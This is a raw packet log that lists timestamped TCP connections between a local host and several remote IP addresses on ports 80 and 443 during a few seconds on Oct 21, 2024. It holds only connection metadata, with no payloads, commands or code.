Oct 21, 2024 10:47:40.991795063 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.991823912 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.992475033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992490053 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992503881 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992535114 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.992563009 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.992594957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992609978 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992623091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992638111 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992645025 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.992652893 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992666960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992677927 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.992683887 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992698908 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992710114 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.992716074 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.992744923 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.993438005 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993453979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993469000 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993484020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993488073 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.993521929 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.993735075 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993782997 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.993915081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993930101 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993943930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993957996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993972063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.993972063 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.993988037 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994004011 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994012117 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.994019032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994035959 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994043112 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.994051933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994070053 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994074106 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.994101048 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.994888067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994903088 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994916916 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994931936 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994939089 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.994947910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994961977 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994971037 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.994978905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.994992971 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995003939 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.995008945 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995023966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995038033 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.995038986 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995055914 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995069981 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.995105982 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.995762110 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995788097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995803118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995822906 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.995846987 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.995892048 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995906115 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995919943 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995934010 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995948076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995963097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995979071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.995995998 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996011972 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996265888 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.996911049 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996926069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996939898 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996953964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996969938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996983051 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.996988058 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.996999979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997014046 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997029066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997041941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997051001 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.997059107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997073889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997085094 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.997272968 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.997561932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997622967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997639894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.997654915 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.998815060 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.998861074 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.998876095 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.998893023 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.998909950 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.999278069 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.999321938 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:41.215157032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:41.215281010 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:41.312489033 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.312633038 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.314594030 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.314604044 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.314929962 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.317233086 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.317397118 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.317430973 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.421688080 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.421850920 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.423008919 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.423021078 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.423346043 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.428718090 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.428740978 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.428798914 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.496932983 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.507399082 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.514519930 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.514564991 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.515619040 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.515640020 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.515978098 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.517862082 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.518023014 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.518069983 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.518155098 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.518168926 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.532704115 CEST	80	50072	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:41.536355019 CEST	50072	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:41.651133060 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:41.651231050 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:41.922784090 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.922888041 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.923862934 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.924204111 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.924221039 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.967828035 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.967952013 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968024969 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968095064 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968161106 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968219042 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968338966 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968504906 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:41.968525887 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:41.968636036 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.085953951 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086169958 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086232901 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.086245060 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086316109 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086401939 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086441994 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.086448908 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086502075 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.086509943 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086708069 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086779118 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.086815119 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.086826086 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.086836100 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.086841106 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.290066957 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.290198088 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.290482998 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.290935040 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:42.290960073 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:42.515026093 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:42.522327900 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.152779102 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:43.157695055 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:43.286207914 CEST	50091	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:43.291110992 CEST	80	50091	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:43.291250944 CEST	50091	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:43.292763948 CEST	50091	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:43.297511101 CEST	80	50091	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:43.334461927 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:43.339473963 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:43.460788965 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.465903044 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.465923071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.465945959 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.465975046 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.465979099 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.465996027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.466011047 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.466026068 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.466031075 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.466049910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.466049910 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.466063976 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.466090918 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.515671968 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.536422014 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.541407108 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541436911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541459084 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541484118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541498899 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541512966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541537046 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541552067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541567087 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541582108 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541598082 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541606903 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.541611910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541626930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541641951 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541659117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.541872025 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.542079926 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542093992 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542109013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542123079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542138100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542160034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542175055 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542188883 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542202950 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542217016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542231083 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542246103 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542259932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542273998 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542289972 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542828083 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542912960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542927027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542952061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542965889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542980909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.542995930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543009996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543025970 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543270111 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.543375969 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.543404102 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.543632030 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543731928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543746948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543761969 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543776035 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543801069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543824911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543839931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543865919 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543879986 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543899059 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543914080 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543929100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543951988 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.543967962 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544092894 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.544118881 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.544411898 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544433117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544459105 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544472933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544487953 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544501066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544517040 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544532061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544555902 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544570923 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544584990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544599056 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544615030 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544629097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.544645071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545370102 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545454979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545471907 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545547009 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545562029 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545576096 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545599937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545614958 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545629025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545644999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545660973 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545676947 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545691013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545706987 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.545731068 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546298027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546349049 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546364069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546452999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546467066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546480894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546497107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546720028 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546737909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546740055 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.546753883 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546770096 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.546788931 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.546788931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546812057 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546823025 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.546828032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546924114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546931028 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.546941042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546957016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546971083 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546984911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.546999931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.547014952 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.547029972 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.547030926 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.547046900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.547055006 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.547099113 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.547796965 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548000097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548043966 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548052073 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548068047 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548106909 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548211098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548226118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548239946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548260927 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548265934 CEST	50056	80	192.168.2.4	185.215.113.16
